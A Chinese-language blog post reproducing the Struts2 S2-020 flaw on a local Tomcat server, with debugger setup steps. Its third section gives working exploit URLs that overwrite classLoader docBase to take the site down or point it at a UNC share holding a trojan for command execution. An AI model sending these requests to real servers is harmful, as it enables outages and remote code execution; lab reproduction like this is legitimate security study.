struts2漏洞重現與編譯

struts2 S2-020重現以及myeclipse調試classLoader詳解<br>1、環境:myeclipse 2013,tomcat 7<br>2、classLoader屬性值動態查看:<br>&nbsp;&nbsp;&nbsp;2.1、 將源碼導入到myeclipse,源碼下載地址:http://pan.baidu.com/s/1bnGq4wf<br><br>&nbsp;&nbsp;&nbsp;2.2、設置myeclipse 下通過tomcat7運行<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.2.1、windows->Preferences->myeclipse->Servers 單擊Tomcat 7.x將Disable修改爲Enabled,將'Tomcat home directory'設置爲tomcat的路徑。展開Tomcat 7.x樹。點擊“JDK",增加jdk路徑路徑爲jre1.8.0_25路徑,點擊"Paths"->”Add JAR/ZIP“,增加tomcat7.0/bin/tomcat-juli.jar,保存。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.2.2、windows->show view ->Variables<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.2.3、設置index.jsp斷點<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.2.4、通過Tomcat 7.0運行調試<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.2.5、打開瀏覽器,訪問http://127.0.0.1:8080/strutstest4/index.action,單步執行,查看Variables窗口變量,如下圖所示,即可動態查看classLoader的屬性值。如下圖所示。<br><br>3、s2-020漏洞重現<br>&nbsp;運行項目,瀏覽器輸入<br>原根路徑爲<br><br>C:\\Users\\yangxianqu\\Downloads\\apache-tomcat-x86_veryhuo.com\\<br>apache-tomcat-7.0.52\\webapps\\strutstest4<br><br>訪問<br><br>http://127.0.0.1:8080/strutstest4/index.action?class.classLoader.resources.dirContext.docBase=C:\\test\\這個不存在的路徑之後,之後訪問任何頁面訪問都會是404。重新編譯運行該項目,方能恢復正常<br>訪問UNC目錄<br>訪問:<br><br>http://127.0.0.1:8080/strutstest4/index.action?class.classLoader.resources.dirContext.docBase=\\127.0.0.1\pmc\,則打開任何頁面實際上訪問的是\\127.0.0.1\pmc\目錄下的pmc這個項目。只要\\127.0.0.1\pmc\目錄下放個任意木馬文件,則達到命令執行效果<br><br>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章